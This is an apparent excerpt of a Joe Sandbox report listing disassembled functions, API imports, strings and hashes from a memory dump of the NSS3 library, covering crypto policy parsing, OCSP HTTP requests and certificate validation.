NSSUTIL_ArgParseSlotInfo.NSS3(?,00000000,?), ref: 6BA86016
free.MOZGLUE(00000000), ref: 6BA86026
NSSUTIL_ArgReadLong.NSS3(trustOrder,?,00000032,00000000), ref: 6BA86043
NSSUTIL_ArgReadLong.NSS3(cipherOrder,?,00000000,00000000), ref: 6BA8605D
NSSUTIL_ArgHasFlag.NSS3(flags,moduleDB,?), ref: 6BA86074
NSSUTIL_ArgHasFlag.NSS3(flags,moduleDBOnly,?), ref: 6BA86086
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6BA860A1
NSSUTIL_ArgHasFlag.NSS3(flags,skipFirst,?), ref: 6BA860C2
NSSUTIL_ArgHasFlag.NSS3(flags,defaultModDB,?), ref: 6BA860DA
NSSUTIL_ArgHasFlag.NSS3(flags,policyOnly,?), ref: 6BA860F8
NSSUTIL_ArgHasFlag.NSS3(flags,internalKeySlot,?), ref: 6BA8612E
NSSUTIL_ArgGetParamValue.NSS3(ciphers,?), ref: 6BA8614C
NSSUTIL_ArgParseCipherFlags.NSS3(?,00000000), ref: 6BA86158
free.MOZGLUE(00000000), ref: 6BA86165

Strings

NSS_POLICY_LOADED=1, xrefs: 6BA85B18
NSS-POLICY-FAIL: policy config parsing failed, not loading module %s, xrefs: 6BA85A9B
printPolicyFeedback, xrefs: 6BA8593C
NSS-POLICY-INFO: %s is enabled for KX, xrefs: 6BA85BC5
internalKeySlot, xrefs: 6BA86124
HASH, xrefs: 6BA85D4C
INFO, xrefs: 6BA85C67, 6BA85C9F, 6BA85CCC, 6BA85CF9, 6BA85D2F, 6BA85D6B, 6BA85DA1, 6BA85DDD, 6BA85E10
skipFirst, xrefs: 6BA860BC
MAC, xrefs: 6BA85D82
flags, xrefs: 6BA85936, 6BA85941, 6BA85953, 6BA85969, 6BA85AB6, 6BA85AF6, 6BA85FBE, 6BA85FCC, 6BA85FDE, 6BA85FF0, 6BA8606E, 6BA86073, 6BA86085, 6BA860B4, 6BA860C1, 6BA860D9, 6BA860F4, 6BA86129
CIPHER, xrefs: 6BA85DBE
trustOrder, xrefs: 6BA8603E
policy-lock, xrefs: 6BA85AF1
ALL, xrefs: 6BA85BC1, 6BA85BF4, 6BA85C2B
slotParams, xrefs: 6BA85FFD
ciphers, xrefs: 6BA86147
internal, xrefs: 6BA85FC7
NSS_POLICY_FAIL=1, xrefs: 6BA85A80, 6BA85E7E
defaultModDB, xrefs: 6BA860D4
NSS-POLICY-INFO: %s is enabled for SSL, xrefs: 6BA85BF8
moduleDB, xrefs: 6BA86069
WARN, xrefs: 6BA85C6C, 6BA85C86, 6BA85C9A, 6BA85CB3, 6BA85CC7, 6BA85CE0, 6BA85CF4, 6BA85D1A, 6BA85D2A, 6BA85D51, 6BA85D66, 6BA85D87, 6BA85D9C, 6BA85DC3, 6BA85DD8, 6BA85DF6, 6BA85E0B, 6BA85E2D
NSS-POLICY-INFO: %s is enabled for CERT-SIGNATURE, xrefs: 6BA85C2F
NSS-POLICY-%s: NUMBER-OF-SSL-ALG-KX: %u, xrefs: 6BA85C87
policyCheckValue, xrefs: 6BA85964
policyCheckIdentifier, xrefs: 6BA8594E
enable, xrefs: 6BA85A3E
NSS-POLICY-FAIL: internal failure with NSS_GetAlgorithmPolicy at %u, xrefs: 6BA85E97
OTHER-KX, xrefs: 6BA85DF1
FIPS, xrefs: 6BA85FD9
disable, xrefs: 6BA85A05
NSS_POLICY_WARN=1, xrefs: 6BA85E6F
disallow, xrefs: 6BA85994
critical, xrefs: 6BA85FEB
NSS-POLICY-%s: NUMBER-OF-CERT-SIG: %u, xrefs: 6BA85CE1
moduleDBOnly, xrefs: 6BA86080
NSS-POLICY-INFO: LOADED-SUCCESSFULLY, xrefs: 6BA85B35
ECC, xrefs: 6BA85D15
cipherOrder, xrefs: 6BA86058
NSS-POLICY-%s: NUMBER-OF-SSL-ALG: %u, xrefs: 6BA85CB4
OTHER-SIGN, xrefs: 6BA85E28
ssl-lock, xrefs: 6BA85AB1
NSS-POLICY-%s: NUMBER-OF-%s: %u, xrefs: 6BA85D0C, 6BA85D1B, 6BA85D52, 6BA85D57, 6BA85D88, 6BA85D8D, 6BA85DC4, 6BA85DC9, 6BA85DF7, 6BA85DFC, 6BA85E2E, 6BA85E33
policyOnly, xrefs: 6BA860EF

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: __acrt_iob_func$Flag$Valuefree$ParamUtil$strlen$L_strncasecmp$Alloc_Arena$memcpy$AlgorithmArena_LongOptionParsePolicyReadSecure$CipherFetchFlagsFreeInfoInitLockParameterSkipSlotStrdup___stdio_common_vfprintffwriteisspacestrchrstrcpystrstr
String ID: ALL$CIPHER$ECC$FIPS$HASH$INFO$MAC$NSS-POLICY-%s: NUMBER-OF-%s: %u$NSS-POLICY-%s: NUMBER-OF-CERT-SIG: %u$NSS-POLICY-%s: NUMBER-OF-SSL-ALG-KX: %u$NSS-POLICY-%s: NUMBER-OF-SSL-ALG: %u$NSS-POLICY-FAIL: internal failure with NSS_GetAlgorithmPolicy at %u$NSS-POLICY-FAIL: policy config parsing failed, not loading module %s$NSS-POLICY-INFO: %s is enabled for CERT-SIGNATURE$NSS-POLICY-INFO: %s is enabled for KX$NSS-POLICY-INFO: %s is enabled for SSL$NSS-POLICY-INFO: LOADED-SUCCESSFULLY$NSS_POLICY_FAIL=1$NSS_POLICY_LOADED=1$NSS_POLICY_WARN=1$OTHER-KX$OTHER-SIGN$WARN$cipherOrder$ciphers$critical$defaultModDB$disable$disallow$enable$flags$internal$internalKeySlot$moduleDB$moduleDBOnly$policy-lock$policyCheckIdentifier$policyCheckValue$policyOnly$printPolicyFeedback$skipFirst$slotParams$ssl-lock$trustOrder
API String ID: 70106568-3069362674
Opcode ID: d8d1bebb9b1c7f16a4dc66802baf0a099272340899fca8e5fa1b62ced29e67fc
Instruction ID: bc3ae21a04e2838d5951353105285fc639de0d2c5eeebd9b045b4db4bf37a265
Opcode Fuzzy Hash: d8d1bebb9b1c7f16a4dc66802baf0a099272340899fca8e5fa1b62ced29e67fc
Instruction Fuzzy Hash: CB22D3B5D00254ABDF109A74ED86F5F76A9AF85348F090038FD19A7202EB3DD994CBB1

Function 6BA4F960 Relevance: 123.4, APIs: 67, Strings: 3, Instructions: 861memorystringthreadCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6BA4F982

Part of subcall function 6BAA0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6BA487ED,00000800,6BA3EF74,00000000), ref: 6BAA1000
Part of subcall function 6BAA0FF0: PR_NewLock.NSS3(?,00000800,6BA3EF74,00000000), ref: 6BAA1016
Part of subcall function 6BAA0FF0: PL_InitArenaPool.NSS3(00000000,security,6BA487ED,00000008,?,00000800,6BA3EF74,00000000), ref: 6BAA102B

Part of subcall function 6BA4E6B0: PORT_ArenaMark_Util.NSS3(00000000,?,00000000,?,?,6BA504DC,?,?), ref: 6BA4E6C9
Part of subcall function 6BA4E6B0: PORT_ArenaAlloc_Util.NSS3(00000000,00000088,?,?,00000000,?,?,6BA504DC,?,?), ref: 6BA4E6D9
Part of subcall function 6BA4E6B0: memset.VCRUNTIME140(00000000,00000000,00000088,?,?,?,?,00000000,?,?,6BA504DC,?,?), ref: 6BA4E6F4
Part of subcall function 6BA4E6B0: SECOID_SetAlgorithmID_Util.NSS3(00000000,00000000,00000004,00000000,?,?,?,?,?,?,?,00000000,?,?,6BA504DC,?), ref: 6BA4E703
Part of subcall function 6BA4E6B0: CERT_FindCertIssuer.NSS3(?,?,6BA504DC,0000000B,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6BA4E71E

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6BA4F9E9
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6BA4FA29
PR_SetError.NSS3(FFFFE005,00000000), ref: 6BA4FA3A
PR_EnterMonitor.NSS3(00000000), ref: 6BA4FA68
PR_ExitMonitor.NSS3 ref: 6BA4FA7C
PORT_Strdup_Util.NSS3(?), ref: 6BA4FA9A
PR_SetError.NSS3(FFFFE07F,00000000), ref: 6BA4FAAB
CERT_GetOCSPAuthorityInfoAccessLocation.NSS3(?), ref: 6BA4FAB6
PR_SetError.NSS3(FFFFE005,00000000), ref: 6BA4FADA
PR_SetError.NSS3(00000000,00000000), ref: 6BA4FAEF
PR_SetError.NSS3(FFFFE09A,00000000), ref: 6BA4FB00
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6BA4FD37

Part of subcall function 6BAA1200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6BA488A4,00000000,00000000), ref: 6BAA1228
Part of subcall function 6BAA1200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6BAA1238
Part of subcall function 6BAA1200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6BA488A4,00000000,00000000), ref: 6BAA124B
Part of subcall function 6BAA1200: PR_CallOnce.NSS3(6BBA2AA4,6BAA12D0,00000000,00000000,00000000,?,6BA488A4,00000000,00000000), ref: 6BAA125D
Part of subcall function 6BAA1200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6BAA126F
Part of subcall function 6BAA1200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6BAA1280
Part of subcall function 6BAA1200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6BAA128E
Part of subcall function 6BAA1200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6BAA129A
Part of subcall function 6BAA1200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6BAA12A1

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6BA50022
DER_GeneralizedTimeToTime_Util.NSS3(?,?), ref: 6BA500AF
PR_SetError.NSS3(FFFFE00C,00000000), ref: 6BA500C6
free.MOZGLUE(?), ref: 6BA500F2
CERT_FinishExtensions.NSS3(?), ref: 6BA50117
SEC_ASN1EncodeItem_Util.NSS3(00000000), ref: 6BA5014A
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(POST,POST,?,00000000,?,6BB69CC8), ref: 6BA5016E
PR_SetError.NSS3(FFFFE07E,00000000), ref: 6BA501A0
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,6BB69CC8), ref: 6BA501DC
memset.VCRUNTIME140(?,00000000,00000100,?,?,00000000,?,6BB69CC8), ref: 6BA50225
PL_Base64Encode.NSS3(?,?,?,?,?,?,?,?,00000000,?,6BB69CC8), ref: 6BA50236
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6BA50260
PORT_Alloc_Util.NSS3(?), ref: 6BA502A4
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6BA502C1
isspace.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6BA502FC
free.MOZGLUE(?), ref: 6BA50375
PR_EnterMonitor.NSS3 ref: 6BA4FD5C

Part of subcall function 6BB09090: LeaveCriticalSection.KERNEL32 ref: 6BB091AA
Part of subcall function 6BB09090: TlsGetValue.KERNEL32 ref: 6BB09212
Part of subcall function 6BB09090: _PR_MD_WAIT_CV.NSS3 ref: 6BB0926B

PR_EnterMonitor.NSS3 ref: 6BA4FD9A
PR_ExitMonitor.NSS3 ref: 6BA4FDF0
SECITEM_ZfreeItem_Util.NSS3(-00000004,00000000), ref: 6BA4FD03

Part of subcall function 6BA9FAB0: free.MOZGLUE(?,-00000001,?,?,6BA3F673,00000000,00000000), ref: 6BA9FAC7

free.MOZGLUE(?), ref: 6BA4FD10
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6BA4FE04
CERT_FinishExtensions.NSS3(?), ref: 6BA4FE36
CERT_DestroyCertificate.NSS3(?), ref: 6BA4FE4D
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6BA4FE5E
CERT_DestroyCertificate.NSS3(?), ref: 6BA4FE89
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6BA4FE9A
PORT_Alloc_Util.NSS3(00000008), ref: 6BA4FF51
SECOID_FindOIDByTag_Util.NSS3(00000083), ref: 6BA4FF68
free.MOZGLUE(00000000), ref: 6BA4FFA5
CERT_FinishExtensions.NSS3(?), ref: 6BA4FFAF
CERT_FinishExtensions.NSS3(?), ref: 6BA4FFDD
CERT_DestroyCertificate.NSS3(?), ref: 6BA4FFF4
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6BA50005
free.MOZGLUE(?), ref: 6BA5038F
PR_ExitMonitor.NSS3 ref: 6BA4FB2E

Part of subcall function 6BB09440: TlsGetValue.KERNEL32 ref: 6BB0945B
Part of subcall function 6BB09440: TlsGetValue.KERNEL32 ref: 6BB09479
Part of subcall function 6BB09440: EnterCriticalSection.KERNEL32 ref: 6BB09495
Part of subcall function 6BB09440: TlsGetValue.KERNEL32 ref: 6BB094E4
Part of subcall function 6BB09440: TlsGetValue.KERNEL32 ref: 6BB09532
Part of subcall function 6BB09440: LeaveCriticalSection.KERNEL32 ref: 6BB0955D

PR_EnterMonitor.NSS3 ref: 6BA4FB1A

Part of subcall function 6BB09090: TlsGetValue.KERNEL32 ref: 6BB090AB
Part of subcall function 6BB09090: TlsGetValue.KERNEL32 ref: 6BB090C9
Part of subcall function 6BB09090: EnterCriticalSection.KERNEL32 ref: 6BB090E5
Part of subcall function 6BB09090: TlsGetValue.KERNEL32 ref: 6BB09116
Part of subcall function 6BB09090: LeaveCriticalSection.KERNEL32 ref: 6BB0913F

PORT_NewArena_Util.NSS3(00000800), ref: 6BA4FB8B
PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6BA4FBA6
PORT_ArenaAlloc_Util.NSS3(00000000,00000020), ref: 6BA4FBC5

Part of subcall function 6BA4F660: PR_EnterMonitor.NSS3(6BA5050F,?,00000001,?,?,?), ref: 6BA4F6A8
Part of subcall function 6BA4F660: PR_Now.NSS3(?,?,?,00000001,?,?,?), ref: 6BA4F6C1
Part of subcall function 6BA4F660: PR_ExitMonitor.NSS3(?,?,?,00000001,?,?,?), ref: 6BA4F7C8

PORT_ArenaMark_Util.NSS3(?), ref: 6BA4FBE9
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6BA4FBF6
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6BA4FC0B
PORT_ZAlloc_Util.NSS3(00000010), ref: 6BA4FC43
PR_GetCurrentThread.NSS3 ref: 6BA4FC80
PR_SetError.NSS3(00000000,00000000), ref: 6BA4FC97
CERT_FinishExtensions.NSS3(?), ref: 6BA4FCE1
PR_GetCurrentThread.NSS3 ref: 6BA503A3
PR_EnterMonitor.NSS3 ref: 6BA503B1
PR_ExitMonitor.NSS3 ref: 6BA503C5
PR_SetError.NSS3(?,00000000), ref: 6BA503FC
PR_GetCurrentThread.NSS3 ref: 6BA5040E
PR_SetError.NSS3(00000000,00000000), ref: 6BA5042C
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6BA50450

Strings

POST, xrefs: 6BA4FF0C, 6BA50168, 6BA5016D
GET, xrefs: 6BA4FF11
GET, xrefs: 6BA5015A

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: Util$Monitor$ArenaError$Arena_EnterValue$Alloc_Freefree$CriticalSection$ExitExtensionsFinish$Item_$CertificateCurrentDestroyLeavePoolThreadZfree$EncodeFindMark_isspacememset$AccessAlgorithmAuthorityBase64CallCertClearDeleteGeneralizedInfoInitIssuerLocationLockOnceStrdup_Tag_TimeTime_Unlockcallocstrcmpstrcpystrlen
String ID: GET$GET$POST
API String ID: 608246302-750638090
Opcode ID: 76a4710f3aef267d67fc072e0be9b3ffc3d3ee76b67b097d6d46bf12d7f32037
Instruction ID: 2558d443e0b1f0aaef7f55dc78909623aa0178eb3ecb794e80d315100e217c8f
Opcode Fuzzy Hash: 76a4710f3aef267d67fc072e0be9b3ffc3d3ee76b67b097d6d46bf12d7f32037
Instruction Fuzzy Hash: C962B0B1A04341AFEF10CF28DD41B2B7BE4AF85748F08446DE89997251E73AD994CB62

Function 6BA4EA80 Relevance: 107.5, APIs: 49, Strings: 12, Instructions: 735stringmemoryCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(00000000), ref: 6BA4EAB1

Part of subcall function 6BB09090: TlsGetValue.KERNEL32 ref: 6BB090AB
Part of subcall function 6BB09090: TlsGetValue.KERNEL32 ref: 6BB090C9
Part of subcall function 6BB09090: EnterCriticalSection.KERNEL32 ref: 6BB090E5
Part of subcall function 6BB09090: TlsGetValue.KERNEL32 ref: 6BB09116
Part of subcall function 6BB09090: LeaveCriticalSection.KERNEL32 ref: 6BB0913F

PR_ExitMonitor.NSS3 ref: 6BA4EAC5

Part of subcall function 6BB09440: TlsGetValue.KERNEL32 ref: 6BB0945B
Part of subcall function 6BB09440: TlsGetValue.KERNEL32 ref: 6BB09479
Part of subcall function 6BB09440: EnterCriticalSection.KERNEL32 ref: 6BB09495
Part of subcall function 6BB09440: TlsGetValue.KERNEL32 ref: 6BB094E4
Part of subcall function 6BB09440: TlsGetValue.KERNEL32 ref: 6BB09532
Part of subcall function 6BB09440: LeaveCriticalSection.KERNEL32 ref: 6BB0955D

PR_SetError.NSS3(FFFFE09A,00000000), ref: 6BA4EBAF
PR_Socket.NSS3(00000002,00000001,00000000), ref: 6BA4EBF8
PR_StringToNetAddr.NSS3(?,?), ref: 6BA4EC20
PORT_Alloc_Util.NSS3(00000800), ref: 6BA4EC39
PR_GetHostByName.NSS3(?,00000000,00000800,?), ref: 6BA4EC5A
PR_EnumerateHostEnt.NSS3(00000000,?,?,?), ref: 6BA4EC85
free.MOZGLUE(?), ref: 6BA4ECB6
PR_SetError.NSS3(FFFFE078,00000000), ref: 6BA4ECCF
free.MOZGLUE(?), ref: 6BA4ED10
free.MOZGLUE(?), ref: 6BA4ED26
PR_InitializeNetAddr.NSS3(00000000,?,?), ref: 6BA4ED35
PR_snprintf.NSS3(?,00000010,:%d,?), ref: 6BA4ED7F
PR_smprintf.NSS3(POST %s HTTP/1.0Host: %s%sContent-Type: application/ocsp-requestContent-Length: %u,?,?,00000000,?), ref: 6BA4EDAB
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6BA4EDBE
free.MOZGLUE(00000000), ref: 6BA4EE9B
PR_smprintf.NSS3(GET %s HTTP/1.0Host: %s%s,?,?,00000000), ref: 6BA4EEB1
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6BA4EEC0
free.MOZGLUE(00000000), ref: 6BA4EEE2
free.MOZGLUE(00000000), ref: 6BA4EEF2
free.MOZGLUE(?), ref: 6BA4EF15
free.MOZGLUE(?), ref: 6BA4EF27
realloc.MOZGLUE(00000000,-00000401), ref: 6BA4EF5C

Part of subcall function 6BA4E910: PL_strncasecmp.NSS3(?,http://,00000007), ref: 6BA4E93B
Part of subcall function 6BA4E910: PR_SetError.NSS3(FFFFE075,00000000), ref: 6BA4E94E

strstr.VCRUNTIME140(-000000F8,), ref: 6BA4F00C
strstr.VCRUNTIME140(00000000,6BB9010D), ref: 6BA4F03F
strchr.VCRUNTIME140(00000000,00000020), ref: 6BA4F055
PL_strncasecmp.NSS3(00000000,HTTP/,00000005), ref: 6BA4F06D
free.MOZGLUE(00000000), ref: 6BA4F07A
PR_SetError.NSS3(FFFFE077,00000000), ref: 6BA4F08A
strchr.VCRUNTIME140(?,00000020), ref: 6BA4F0AC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,200), ref: 6BA4F0C4
strchr.VCRUNTIME140(?,0000003A), ref: 6BA4F0FA
strstr.VCRUNTIME140(-00000002,6BB9010D), ref: 6BA4F124
PL_strcasecmp.NSS3(?,content-type), ref: 6BA4F13D
PL_strcasecmp.NSS3(?,content-length), ref: 6BA4F14F
atoi.API-MS-WIN-CRT-CONVERT-L1-1-0(?), ref: 6BA4F15F
PL_strcasecmp.NSS3(?,application/ocsp-response), ref: 6BA4F1A0
memcpy.VCRUNTIME140(00000000,?), ref: 6BA4F1CD
PR_SetError.NSS3(FFFFE077,00000000), ref: 6BA4F231
SECITEM_AllocItem_Util.NSS3(00000000,00000000,00000000), ref: 6BA4F387
memcpy.VCRUNTIME140(?,00000000,00000000), ref: 6BA4F39C
free.MOZGLUE(00000000), ref: 6BA4F3A5
free.MOZGLUE(00000000), ref: 6BA4F3B1

Part of subcall function 6BA30F00: PR_GetPageSize.NSS3(6BA30936,FFFFE8AE,?,6B9C16B7,00000000,?,6BA30936,00000000,?,6B9C204A), ref: 6BA30F1B
Part of subcall function 6BA30F00: PR_NewLogModule.NSS3(clock,6BA30936,FFFFE8AE,?,6B9C16B7,00000000,?,6BA30936,00000000,?,6B9C204A), ref: 6BA30F25

Strings

HTTP/, xrefs: 6BA4F067
content-type, xrefs: 6BA4F137
:%d, xrefs: 6BA4ED73
application/ocsp-response, xrefs: 6BA4F19A
http, xrefs: 6BA4EB86
application/ocsp-request, xrefs: 6BA4EE25
POST, xrefs: 6BA4EB58, 6BA4EB81
200, xrefs: 6BA4F0BB
content-length, xrefs: 6BA4F149
GET, xrefs: 6BA4EB53
GET %s HTTP/1.0Host: %s%s, xrefs: 6BA4EEAC
POST %s HTTP/1.0Host: %s%sContent-Type: application/ocsp-requestContent-Length: %u, xrefs: 6BA4EDA6

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: free$Value$Error$CriticalSection$EnterL_strcasecmpstrchrstrstr$AddrHostL_strncasecmpLeaveMonitorR_smprintfUtilmemcpystrlen$AllocAlloc_EnumerateExitInitializeItem_ModuleNamePageR_snprintfSizeSocketStringatoireallocstrcmp
String ID: 200$:%d$GET$GET %s HTTP/1.0Host: %s%s$HTTP/$POST$POST %s HTTP/1.0Host: %s%sContent-Type: application/ocsp-requestContent-Length: %u$application/ocsp-request$application/ocsp-response$content-length$content-type$http
API String ID: 3957390022-1324771758
Opcode ID: fac2ed792f57be5b2c06cbf9225a1be9af8665c1ef24b3565be39e8456cbfb4e
Instruction ID: 61c93a5944b9748227b4e727df178e9f2c5c2a05ff705a02ecdb1ac96c9a28a9
Opcode Fuzzy Hash: fac2ed792f57be5b2c06cbf9225a1be9af8665c1ef24b3565be39e8456cbfb4e
Instruction Fuzzy Hash: AE42C071A04301AFEB04DF28DD86B2F77E8AF85344F08446CF95997251E73AE945CBA2

Function 6BA8D960 Relevance: 88.3, APIs: 49, Strings: 1, Instructions: 764memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(00000014), ref: 6BA8DAD4
TlsGetValue.KERNEL32 ref: 6BA8DBDE

Strings

security, xrefs: 6BA8DC88

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: Alloc_UtilValue
String ID: security
API String ID: 638508351-3315324353
Opcode ID: dcf0feec0dd3d7ee64b79eaa5e76e2bd42c0ab371b02d4b2833f8daeb4865d6e
Instruction ID: 818a552af7b151b12ba6604a3798b3d05b97c437311e075da09442b8458319b1
Opcode Fuzzy Hash: dcf0feec0dd3d7ee64b79eaa5e76e2bd42c0ab371b02d4b2833f8daeb4865d6e
Instruction Fuzzy Hash: DC6278B5D00218DFEF10DF24C945BAABBB5FF49304F0481AAE849A7751E739A984CF91

Function 6BA4CA70 Relevance: 84.8, APIs: 56, Instructions: 849threadtimememoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6BA4CB45
PORT_ZAlloc_Util.NSS3(00000040), ref: 6BA4CB5B
CERT_GetConstrainedCertificateNames.NSS3(?,00000010,?), ref: 6BA4CBEB
realloc.MOZGLUE(?,00000000), ref: 6BA4CC3B
PR_SetError.NSS3(FFFFE029,00000000), ref: 6BA4CD25
PR_GetCurrentThread.NSS3 ref: 6BA4CD35
CERT_FindCertIssuer.NSS3(?,00000001,?,00000001), ref: 6BA4CD74
CERT_CheckCertValidTimes.NSS3(?,00000001,?,00000000), ref: 6BA4CD9D
PR_GetCurrentThread.NSS3 ref: 6BA4CDBA
PR_SetError.NSS3(FFFFE01E,00000000), ref: 6BA4CDD2
PR_GetCurrentThread.NSS3 ref: 6BA4CDE9
PR_SetError.NSS3(FFFFE024,00000000), ref: 6BA4CE7C
PR_GetCurrentThread.NSS3 ref: 6BA4CE93
PR_SetError.NSS3(FFFFE025,00000000), ref: 6BA4CEC1
SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6BA4CF8F
memcmp.VCRUNTIME140(?,6BB696B4,00000048), ref: 6BA4CFC8
PR_GetCurrentThread.NSS3 ref: 6BA4D071
CERT_GetCertTrust.NSS3(?,?), ref: 6BA4D091
PR_SetError.NSS3(FFFFE024,00000000), ref: 6BA4D0C6
PR_GetCurrentThread.NSS3 ref: 6BA4D0DD
PR_SetError.NSS3(FFFFE05A,00000000), ref: 6BA4D116
PR_GetCurrentThread.NSS3 ref: 6BA4D131
PR_SetError.NSS3(FFFFE014,00000000), ref: 6BA4D1D9
PR_SetError.NSS3(FFFFE014,00000000), ref: 6BA4D225
CERT_DestroyCertificate.NSS3(?), ref: 6BA4D410
PR_SetError.NSS3(FFFFE0B6,00000000), ref: 6BA4D44E
PR_GetCurrentThread.NSS3 ref: 6BA4D45E
PR_GetCurrentThread.NSS3 ref: 6BA4D1EC

Part of subcall function 6BA4C9A0: PORT_ArenaAlloc_Util.NSS3(00000000,00000018,?,00000001,00000000,?,6BA4D864,?,00000000,?), ref: 6BA4C9AE

PR_SetError.NSS3(FFFFE014,00000000), ref: 6BA4D285
PR_GetCurrentThread.NSS3 ref: 6BA4D298
PR_SetError.NSS3(FFFFE014,00000000), ref: 6BA4D2D7
PR_SetError.NSS3(FFFFE014,00000000), ref: 6BA4D330
PR_GetCurrentThread.NSS3 ref: 6BA4D34C
SECITEM_ItemsAreEqual_Util.NSS3(?,?), ref: 6BA4D392
CERT_DestroyCertificate.NSS3(?), ref: 6BA4D3BC
PR_SetError.NSS3(FFFFE00D,00000000), ref: 6BA4D3DF
PR_GetCurrentThread.NSS3 ref: 6BA4D3EE
PR_SetError.NSS3(FFFFE00A,00000000), ref: 6BA4CE12

Part of subcall function 6BAEC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6BAEC2BF

PR_GetCurrentThread.NSS3 ref: 6BA4CE22
PR_GetCurrentThread.NSS3 ref: 6BA4CED8
memcmp.VCRUNTIME140(?,6BB696FC,00000048), ref: 6BA4CFDC
